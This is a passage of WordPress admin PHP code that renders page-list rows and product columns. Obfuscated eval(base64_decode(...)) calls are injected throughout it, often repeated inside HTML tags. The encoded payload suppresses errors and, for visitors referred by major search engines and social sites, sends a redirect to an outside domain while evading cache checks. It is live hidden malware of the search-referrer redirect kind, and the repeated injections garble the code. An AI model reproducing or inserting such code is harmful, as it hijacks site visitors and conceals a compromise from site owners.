HJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                $actions = array();
                if (current_user_can('edit_page', $page->ID) && $post->post_status != 'trash') {
                    $actions['edit'] = '<a href="' . $edit_link . '" title="' . esc_attr(__('Edit this page')) . '">' . __('Edit') . '</a>';
                    $actions['inline'] = '<a href="#" class="editinline">' . __('Quick&nbsp;Edit') . '</a>';
                }
                if (current_user_can('delete_page', $page->ID)) {
                    if ($post->post_status == 'trash') {
                        $actions['untrash'] = "<a title='" . esc_attr(__('Remove this page from the Trash')) . "' href='" . wp_nonce_url("page.php?action=untrash&amp;post={$page->ID}", 'untrash-page_' . $page->ID) . "'>" . __('Restore') . "</a>";
                    } elseif (EMPTY_TRASH_DAYS) {
                        $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this page to the Trash')) . "' href='" . get_delete_post_link($page->ID) . "'>" . __('Trash') . "</a>";
                    }
                    if ($post->post_status == 'trash' || !EMPTY_TRASH_DAYS) {
                        $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this page permanently')) . "' href='" . wp_nonce_url("page.php?action=delete&amp;post={$page->ID}", 'delete-page_' . $page->ID) . "'>" . __('Delete Permanently') . "</a>";
                    }
                }
                if (in_array($post->post_status, array('pending', 'draft'))) {
                    if (current_user_can('edit_page', $page->ID)) {
                        $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                    }
                } elseif ($post->post_status != 'trash') {
                    $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                }
                $actions = apply_filters('page_row_actions', $actions, $page);
                $action_count = count($actions);
                $i = 0;
                echo '<div class="row-actions">';
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo "<span class='{$action}'>{$link}{$sep}</span>";
                }
                echo '</div>';
                get_inline_data($post);
                echo '</td>';
                break;
            case 'comments':
                ?>
		<td <?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                echo $attributes;
                ?>
><div class="post-com-count-wrapper">
		<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                $left = get_pending_comments_num($page->ID);
                $pending_phrase = sprintf(__('%s pending'), number_format($left));
                if ($left) {
                    echo '<strong>';
                }
                comments_number("<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>');
                if ($left) {
                    echo '</strong>';
                }
                ?>
		</div></td>
		<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                break;
            case 'author':
                ?>
		<td <?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                echo $attributes;
                ?>
><a href="edit-pages.php?author=<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                the_author_meta('ID');
                ?>
"><?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                the_author();
                ?>
</a></td>
		<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                break;
            default:
                ?>
		<td <?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                echo $attributes;
                ?>
><?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                do_action('manage_pages_custom_column', $column_name, $id);
                ?>
</td>
		<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                break;
        }
    }
    ?>

</tr>

<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
    /**
     * Ouput custom columns for products
     * @param  string $column
     */
    function render_bestbuy_bestsell_product_columns($column)
    {
        global $post;
        $post_meta = get_post_meta($post->ID);
        //current_market_price
        //print_r( $post_meta ); exit;
        switch ($column) {
            case 'thumb':
                echo '<a href="' . get_edit_post_link($post->ID) . '">' . get_image('thumbnail', $post->ID, '') . '</a>';
                break;
